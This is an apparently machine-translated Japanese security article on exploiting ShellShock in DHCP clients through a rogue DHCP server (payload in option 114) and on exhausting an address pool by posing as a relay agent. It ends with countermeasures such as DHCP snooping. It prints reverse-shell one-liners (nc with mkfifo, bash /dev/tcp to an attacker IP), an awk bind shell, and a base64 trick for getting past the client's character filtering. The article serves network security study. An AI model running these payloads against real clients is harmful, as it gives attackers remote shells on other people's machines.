攻撃DHCP

この記事では、DHCPクライアントでShellShockを使用して、完全なリバースシェルまたはバインドシェルを取得する方法を説明します。 インターネットには、DHCPクライアントでshellshockを使用する可能性について説明した記事が多数あります。 DHCPクライアントでリバースシェルを取得する方法に関する記事もあります。 ただし、シェルを取得するための安定した普遍的なツールはまだありません。 トピックにいる人はここで新しいものを見ることができないかもしれませんが、DHCPクライアント側の文字のフィルタリングとエスケープの条件で、逆の受信とバインドシェルの自動化をどのように管理したかを知りたい場合があります。 さらに、DHCPプロトコルが何に関心があるかについて説明します。

DHCPは、IPアドレス、デフォルトゲートウェイ、DNSサーバーなどを自動的に割り当てるために使用されます。 このプロトコルはトランスポートとしてUDPを使用します。つまり、データリンクレイヤーから開始して、ネットワークパケットの対象となるすべてのフィールドを簡単に置き換えることができます。ソースMACアドレス、ソースIPアドレス、ソースポート-つまり、すべてしたい。

DHCPは動作しますが、 一言で言えば このようなもの：

1. DHCPDISCOVERクライアントは、ネットワーク内のDHCPサーバーを見つけるためにブロードキャストネットワークパケットを送信しますが、データリンクレイヤーではすべてが明確であり、これ以上説明しません。ネットワーク-私たちの経験に基づいて、ここに何かがあります-クライアントによって異なりますが、
   
   
   
   SRC IP: 0.0.0.0, DST IP: 255.255.255.255.
   
   
   
   
   
   トランスポートレベルでは、すべてのリクエストは次のように送信されます。
   
   SRC PORT: 68, DST PORT: 67
   
   
   
   
   
   したがって、サーバーがクライアントに応答するとき：
   
   SRC PORT: 67, DST PORT: 68
   
   
   
   
   
   
   
   UDPチェックサムは無視できます。 それをチェックする単一のDHCPサーバーを見たことはなく、ネットワーク機器はUDPチェックサムの値がゼロのパケットを問題なく渡します。 アプリケーションレベルの最初のバイト（opフィールド-メッセージタイプ）で、クライアントは値-0x01（BOOTREQUEST-クライアントからサーバーへの要求）を設定します。 パッケージの残りのフィールドについては説明しません。その説明、長さ、および値はRFCおよびWIKIにあるためです。 クライアントからのリクエストでは、 xidフィールドにも関心があります （トランザクションIDは、パッケージのアプリケーションレベルの先頭からオフセット0x4にある4バイトの乱数です）。 応答内のサーバーがxidフィールドをクライアントのxidと等しくないように設定した場合、クライアントはサーバーからの応答を拒否します。これは、この応答が別のトランザクションにあると見なすためです。 パッケージのDHCPオプションについて詳しく見てみましょう。 それらの256があり、完全なリストはここまたはここで見つけることができます 。 クライアントは、コード53 （ DHCPメッセージのタイプはDHCPメッセージ）のオプションを0x01に設定する必要があります。これは、このパッケージがDHCPサーバーを見つけるためのものであり、オプション55 （ パラメーター要求リストは 、ゲートウェイアドレス、サブネットマスクなど、サーバーから要求されたパラメーターのリストであることを意味します、DNSサーバーなど）。
   
   
   
   これは、WireSharkでのこのリクエストの外観です。
   
   
   
   

   
   
   
   
   
   
   

2. DHCPOFFERサーバーは、クライアントから要求を受信し、提案を送信します。 ネットワークレベルでは、IPサーバーはそのIPアドレスをSRCとして設定します。DSTのIPは255.255.255.255である必要がありますが、常にそうとは限りません。 DST IPでは、クライアントに割り当てられたIPアドレスまたはリレーIPアドレス（プロセスに関係する場合）も設定できます。 まだIPアドレスを持っていない場合、パケットはどのようにクライアントに到達するのでしょうか？ すべてが簡単です。DHCPDISCOVERおよびDHCPREQUEST要求では、 chaddr （クライアントMACアドレス）フィールドで、クライアントはそのMACアドレスを示します。
   
   
   
   したがって、サーバーまたはリレーは常にデータリンクレベルでパケットを配信する場所を知っています。サーバーまたはリレーは常にクライアントと同じブロードキャストドメイン内にあり、ネットワークレベルで何が起こるかはそれほど重要ではないためです。 UDPマジック 。 メッセージタイプでは、値は0x02 （BOOTREPLY-クライアントへのサーバー応答）です。 xidフィールドには、クライアント要求のxidフィールドの値に等しい値が設定されます。 yiaddr （あなたの（クライアント）IPアドレス）フィールドは、サーバーによって提案されたクライアントのIPアドレスを設定します。 DHCPオプションに表示されるもの：コード53（ DHCPメッセージタイプ ）のオプションでは、値は0x02（DHCPOFFER）、コード51（ IPアドレスリース時間 ）はIPアドレスリース時間、コード54（ サーバー識別子 ）はDHCP IPアドレスです-サーバー。 オファーの他のすべてのオプションは、クライアントが要求したパラメーターによって異なります;クライアントは、オプションコード55（ パラメーター要求リスト ）のDHCPDISCOVER要求でリストを指定しました。
   
   
   
   

   
   
   
   
   
   
   

3. DHCPREQUESTクライアントは、サーバーにネットワークパラメータの要求を送信します。 ネットワークレベルでは、 SRC IP: 0.0.0.0 DST IP: 255.255.255.255
   
   
   
   ようになりSRC IP: 0.0.0.0 DST IP: 255.255.255.255
   
   
   
   が、サーバーのオファー（ yiaddrフィールド）で割り当てられたIPアドレスはSRC IPに設定され、IPはDST IPに設定されますコード54（ サーバー識別子 ）のサーバーオファーオプションにあるアドレス。 このリクエストのDHCPオプションは、コード53（ DHCPメッセージタイプ、DHCPメッセージのタイプ ）が0x03に等しいオプションを除き、DHCPDISCOVERリクエストと違いはありません-これは、このパケットがDHCPサーバーからのパラメーターをリクエストすることを意味します。 また、クライアントはコード54（ 要求されたIPアドレス ）のオプションと同様にサーバーのIPアドレスを既に知っているため、コード54（ サーバー識別子 ）のオプションも要求に追加します。 さらに、クライアントはオプション12（ ホスト名オプションのホスト名）などを設定できます。
   
   
   
   

   
   
   
   
   
   
   
4. DHCPACKサーバーは、クライアントに確認を送信します。 ネットワークレベルでは、 SRC IP: <IP- > DST IP: 255.255.255.255
   
   
   
   。 このパケットのオプションとフィールドは、コード53（ DHCPメッセージタイプ、DHCPメッセージのタイプ ）が0x05に等しいオプションを除き、DHCPOFFERと変わりません-これは、このパケットがDHCPサーバーからの確認であることを意味します。
   
   
   
   

さらに、 ARPプロトコルを使用するクライアントは、ローカルネットワーク内のIPアドレスの競合を検出しようとします（ アドレス競合の検出 ）。 競合が検出されない場合、クライアントはDHCPACKから受信したパラメーターをネットワークインターフェイスに設定します。 検出された場合、クライアントはDHCP DHCPDECLINEブロードキャストエラーメッセージを送信します 。その後、IPアドレスを取得する手順が繰り返されます。

また、DHCPプロトコルには別の機能があります。クライアントが以前にDHCPDISCOVER要求を送信した場合、同じネットワークに再接続すると、クライアントはすぐにDHCPREQUESTを送信します。 同時に、コード50（ Requested IP address ）のDHCPオプションでは、以前に取得したIPアドレスが設定されます。

前述のDHCPDECLINEについて詳しく見ていきましょう。 実際には、次のようになります。

1. このネットワークに既に接続しているため、クライアントはDHCPREQUESTを送信します。 Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; Client MAC address: 08:00:27:ce:7a:64
   
   
   
   
   
   
   
   

   
   
   
   
   
   
   

2. サーバーはDHCPACKで応答します 。
   
   Transaction ID: 0x825b824a; yiaddr: 192.168.1.171; siaddr: 192.168.1.1; router: 192.168.1.1
   
   
   
   
   
   

   
   
   
   
   
   
   

3. クライアントはARPプロトコルを使用してゲートウェイのMACアドレスを検索し、同じARPを介してローカルネットワーク内のIPアドレスの競合を検出しようとします（ アドレス競合検出 ）。 リクエストは次のようになります。
   
   
   
   sender mac: 08:00:27:ce:7a:64; sender ip: 0.0.0.0; target mac: 00:00:00:00:00:00; target ip: 192.168.1.171
   
   
   
   
   
   
   
   

   
   
   
   
   
   
   

4. IPアドレスが192.168.1.171のホストがARP要求に応答しています。
   
   
   
   

   
   
   
   
   
   
   

5. クライアントがネットワーク上のIPアドレスの競合を検出し、ブロードキャストDHCPDECLINEを送信しています。
   
   
   
   Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; ciaddr: 192.168.1.171
   
   
   
   
   
   
   
   

   
   
   
   
   
   
   
6. IPアドレスを取得する手順が繰り返されますが、異なるトランザクションID： 0x713a0fe7が使用されます。 番号が89、101、106、136、および151のパッケージに気付きましたか？ その場合、サーバーがクライアントにIPアドレス192.168.1.172を割り当て、その前にDHCPサーバー自体が同じARP （番号89、101、106のパケット： Who has 192.168.1.172? Tell 192.168.1.1
   
   
   
   ）IPアドレス192.168.1.172が空いていることを確認してから、 DHCPOFFERを送信しました 。 その後、クライアントは再びIPアドレスの競合を識別しようとしました（番号136、151のパケット： Who has 192.168.1.172? Tell 0.0.0.0
   
   
   
   ）。
   
   
   
   

少なくとも一度ネットワークに接続したクライアントがDHCPREQUEST要求のみを送信し、以前に受信したIPアドレスをRequestedに公開することは既にわかっています。 しかし、DHCPサーバーがこのIPアドレスを既に割り当て、構成またはアドレス指定が変更され、サーバーがクライアントにこのアドレスを提供できない場合はどうでしょうか。 これにはDHCPNAKメッセージタイプがあります。 次のように機能します。

1. クライアントはDHCPREQUESTを送信します。
   
   Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14
   
   
   
   
   
   
   
   

   
   
   
   
   
   
   

2. サーバー設定は、IPアドレスを割り当てることができる範囲を指定しますが、クライアントが要求したものはこの範囲に含まれないため、サーバーはDHCPNAKを送信します 。
   
   Transaction ID: 0xa7ddc5cb; Message: address not available
   
   
   
   
   
   
   
   

   
   
   
   
   
   
   
3. IPアドレスを取得する手順が繰り返されますが、トランザクションIDが異なります： 0xcfbf77a9 。
   
   
   
   

シェルショックに移りましょう

この脆弱性は最も一般的な脆弱性の1つであり、それに関する非常に多くの記事があるため、shellshockがどのように、なぜ動作するのかを書く意味はありません。 DHCPサーバーとして動作する場合に備えて、DHCPクライアントでシェルを取得する方法について詳しく説明することをお勧めします。

どのフィールドとオプションを挿入できますか？

回答：ほぼすべて！ 挿入できるDHCPオプションのコードのリストは次のとおりです（CentOS 6.5からNetworkManagerでテスト済み）：14、18、43、56、60、61、62、63、64、66、67、77、80、82、83 、 84、86、87、90、94、95、96、97、98、99、100、101、102、103、104、105、106、107、108、109、110、111、113、114、115 、 116、117、120、122、123、124、125、126、127、128、129、130、131、132、133、134、135、136、137、138、139、140、141、142、143 、 144、145、146、147、148、149、150、151、152、153、154、155、156、157、158、159、160、161、162、163、164、165、166、167、168 、 169、170、171、172、173、174、175、176、177、178、179、180、181、182、183、184、185、186、187、188、189、190、191、192、193 、194、195、196、198、199、200、201、202、203、204、205、206、207、208、209、210、211、212、213、214、215、216、217、218、219 、 220、22 1、222、223、224、225、226、227、228、229、230、231、232、233、234、235、236、237、238、239、240、241、242、243、244、245、 246、247、248、250、251、253。

PoCでは、コード114（ URL ）でDHCPオプションを使用します。 なんで？ その長さは可変（最大長は256バイト）であり、また誰もが使用しているためです 。 彼女の説明はまだここにあります 。 このオプションを使用してshellshockに対して脆弱なシステムを更新する方法に関する記事もあります:)

私たちの制限は何ですか？

回答：たくさんあります！

1. 長さ-256バイト
2. インタープリターコマンドのみを使用することもできます。
3. 使用される文字に関する大きな制限：いくつかはフィルターされ、いくつかはエスケープされます。 DHCPクライアントに依存します。 以下は、どこでも使用できない文字のセットです。 "';&|
   
   
   
   
4. コマンドの実行後、IPv4アドレスが割り当てられない場合があります。この場合、インターフェイスでIPv6無視が有効になっていない場合、IPv6リンクローカルアドレスを使用できます。
5. 絶対パスを使用する必要があります。使用しないと、コマンドが失敗する場合があります

そして、何をすべきか？

回答：制限を回避してください！

フィルタをバイパスするには、1つのコマンドですべてを実行する必要があります。 このようにしましょう：

 /bin/sh <(/usr/bin/base64 -d <<< Base64String)
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

ここでは、インタープリター/ bin / shの入力に、 Base64Stringストリングをデコードする/ usr / bin / base64の出力を送ります。 したがって、すでに34バイトを使用しているため、Base64Stringの長さは222バイトを超えてはなりません。

そして、Base64Stringで何が起こるでしょうか？ 4番目の制限を忘れないでください。したがって、まず、次のコマンドでインターフェイスのIPアドレスを設定します。

 /bin/ip addr add <IP>/<MASK> dev eth0;
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

このコマンドにはもう1つの制限があります。IPアドレスを設定するインターフェイスの名前を知る必要があります。 デフォルトでは、シェルショックがまだ残っている古いバージョンのLinuxでは、最初のネットワークインターフェイスはeth0と呼ばれるので、それに焦点を合わせます。 また、この行に逆シェルまたはバインドシェルを配置する必要があります。

逆シェルでは、ncを使用して標準シェルを使用します。

 nc -e /bin/sh <IP> <PORT> 2>&1 & rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f &
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

逆シェルの場合、次のコマンドも使用できます 。

 /bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

バインドシェルの場合 、 Metasploitの / cmd / unix / bind_awkを最短の1つとして使用します。

 awk 'BEGIN{s="/inet/tcp/<PORT>/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

PoC

ビデオ：

もっと 少し DHCPについて

DHCPは、クライアント上でRCEを取得する方法としてのみ考慮されるべきではありません。最初に、ネットワーク上の実際のDHCPサーバーよりも速く応答する必要があり、2番目に、クライアントがシェルショックを持たなければならないためです。 DHCPプロトコルは、最初にMITMを実装する方法と見なす必要があります。

DHCPサーバーよりも高速に要求に応答する方法について話しましょう。 最も明白なオプションは、ネットワーク上の場所によってクライアントに近づけることであり、ハードウェアとアルゴリズムも高速に動作するはずです。 ただし、ほとんどの場合、これはそうではありません。

2番目のオプションがあります。サーバーをロードする必要がありますが、空きアドレスのプール全体を使い果たさないようにネットワーク上の新しいIPアドレスを占有しないでください（このような攻撃はDHCP枯渇と呼ばれます）。 既に理解しているように、サーバーはそれぞれの要求を処理し、それに応じてDHCPOFFERを送信する必要があるため、多数のDHCPDISCOVER要求を送信する必要があります。 ただし、このトランザクションの一部としてDHCPREQUESTを送信しないため、サーバーはそれを待機します。 IPを取得する手順が完了していないため、IPアドレスは専用とは見なされません。

実際にどのように見えるか見てみましょう。

DHCPDISCOVER要求を送信する前にグラフとプロセスをロードします。

この図は、ルーターの平均負荷が0.1から0.3の範囲であり、dnsmasqプロセスがCPUの0％を占めることを示しています。

DHCPDISCOVER要求を送信するときに、グラフ、プロセス、およびDHCPクライアントのリストをロードします。

ルーターの負荷平均は1.96に増加し、すべてのDHCPDISCOVER要求に応答する時間がなくなりました。dnsmasqプロセスはCPUの64％を使用しますが、同時にDHCPクライアントのリストにはホストのみが含まれます。

その結果、私たちとサーバーには少し負荷がかかり、IPアドレスは取得されませんでした。 生成したすべてのDHCPDISCOVER要求を除外すると、実際のDHCPサーバーよりも速く応答する可能性が大幅に高まります。 タスクは完了しました。

次に、DHCPメッセージのタイプについて説明します 。

価値	Message_Type
1	DHCPDISCOVER
2	DHCPOFFER
3	DHCPREQUEST
4	DHCPDECLINE
5	DHCPACK
6	DHCPNAK
7	DHCPRELEASE
8	DHCPINFORM

すでに調べた最初の6種類のメッセージには、7番目（DHCPRELEASE）と8番目（DHCPINFORM）の2つしかありません。 それらについて詳しく見ていきましょう。

クライアントは、IPアドレスのリースを明示的に終了できます。 これを行うために、 DHCPRELEASEアドレスリースリリースメッセージを、以前にアドレスを提供したサーバーに送信します。 他のメッセージとは異なり、これはブロードキャストされません。

DHCPINFORM情報メッセージは 、IPアドレスが手動で構成されているクライアントの追加のネットワークパラメーターを決定することを目的としています。 私たちの経験に基づいて、Windowsホストのみがそのようなメッセージを送信すると言うことができます:(。サーバーはIPアドレスを割り当てずに同様のDHCPACKリクエストに応答します。これらのメッセージ用のrfcプロジェクトがあります。 、DNSなど。主なことは実際のDHCPサーバーの前に応答することですが、この問題はすでに上記で解決されています。

DHCP枯渇とDHCPリレーエージェント

この記事では、DHCP枯渇攻撃-フリーIPアドレスのプールの枯渇について言及しました。 ランダムなMACアドレスから多数のDHCPDISCOVERまたはDHCPREQUEST要求のみを送信することによりこの攻撃を実行することが可能であると考えられており、そのような要求ごとにDHCPサーバーはIPアドレスを割り当てて予約しますが、これは常にそうではありません。 既に知っているように、IPアドレスを取得して予約する手順は、DHCPサーバーがDHCPACKメッセージを送信すると終了します。 DHCPリレーエージェントとして表示されるこの攻撃を実行するのが最も正しいです。

以下に例を示します。

1. ネットワークインターフェイスはenp0s3で、MACアドレスは08：00：27：6a：82：5fで、IPアドレスは192.168.1.2です。 DHCPサーバーは、 OpenWrt Chaos Calmer 05/15/1 IPアドレスからのDnsmasq / 2.73になります： 192.168.1.1
   
   
   
   
   
   
   
   
   
   

   
   
   
   
   
   
   
2. リクエストの送信を開始します。
   
   
   
   
   
   
   
   

したがって、空きIPアドレスのプール全体を忘れ、正当なDHCPクライアントは12時間後にのみこのDHCPサーバーからIPアドレスを取得できます。 正当なDHCPサーバーはクライアントに応答を送信できませんが、私たちはそれを行うことができます！

仕組み：

1. ブロードキャストDHCPDISCOVER要求を作成して送信すると同時に、DHCPリレーエージェントとして自分自身を提示します。 giaddr （リレーエージェントIP）フィールドで、 chaddr （クライアントMACアドレス）フィールドにIPアドレス192.168.1.2を指定します-ランダムMAC 00：19：bb：f5：e7：a8 、同時にSRC MACを設定しますMACアドレス
   
   
   
   

   
   
   
   
   
   
   

2. サーバーはDHCPOFFERメッセージでリレーエージェント（us）に応答し、クライアントにMACアドレス00：19：bb：f5：e7：a8 IPアドレス192.168.1.232を提供します。
   
   
   
   

   
   
   
   
   
   
   

3. DHCPOFFERを受信した後、ブロードキャストDHCPREQUEST要求を送信し、コード50（ 要求されたIPアドレス ）のDHCPオプションで、クライアントに提供されるIPアドレス192.168.1.232を設定し、コード12（ ホスト名オプション ）のオプションで -ランダムな文字列を設定します。 重要： DHCPREQUESTおよびDHCPDISCOVERのxid （トランザクションID）およびchaddr （クライアントMACアドレス）フィールドの値は同じである必要があります。そうでない場合、サーバーは同じクライアントからの別のトランザクションまたは同じトランザクションを持つ別のクライアントのように見えるため、リクエストをドロップします。
   
   
   
   

   
   
   
   
   
   
   
4. サーバーはDHCPACKメッセージをリレーエージェントに送信します。 これ以降、IPアドレス192.168.1.232は、MACアドレス00：19：bb：f5：e7：a8を持つクライアント用に12時間予約されていると見なされます（デフォルトのリース時間）。
   
   
   
   

結論

対策：

1. DHCPスヌーピングは、DHCPプロトコルを使用した攻撃から保護するために設計されたスイッチ機能です。 たとえば、ネットワーク上のDHCPサーバーを置換する攻撃。

   
   
   
   
   
   
   

2. ポートセキュリティ -ポートを介してデータを送信できるホストのMACアドレスを指定できるスイッチ機能。 その後、送信者のMACアドレスが承認済みとして指定されない限り、ポートはパケットを送信しません。

   
   
   
   
   
   
   

3. 1つのMACアドレスやIPアドレスからのDHCPDISCOVERおよびDHCPREQUEST要求の数を制限するためのネットワーク機器の構成。

   
   
   
   
   
   
   

4. ネットワークトラフィックを記録および分析して、異常を追跡します。 たとえば、ネットワーク上のDHCP要求の通常の数は1日あたり100〜200を超えず、DHCPの枯渇攻撃の間、その数は何度も増加します。 別の例：通常、ネットワーク上でDHCP応答の数はDHCP要求の数を超えず、DHCP応答の数はDHCP要求の数を2倍にしました。 これは、誰かがDHCPサーバーの代わりに攻撃を行っていることを意味します。

   
   
   
   
   
   
   

5. IDS 、 IPS 、 SIEM 、およびZabbixなどの機器監視システムの使用。

   
   
   
   
   
   
   

6. 可能であれば、DHCPサーバーでMAC-IP静的バインディングを使用します。

   
   
   
   
   
   
   

7. DHCPオプション82をサポートするDHCPリピーターとDHCPサーバーを使用します。

   
   
   
   
   
   
   
8. 継続的なソフトウェア更新。 とにかくホストを更新できます:)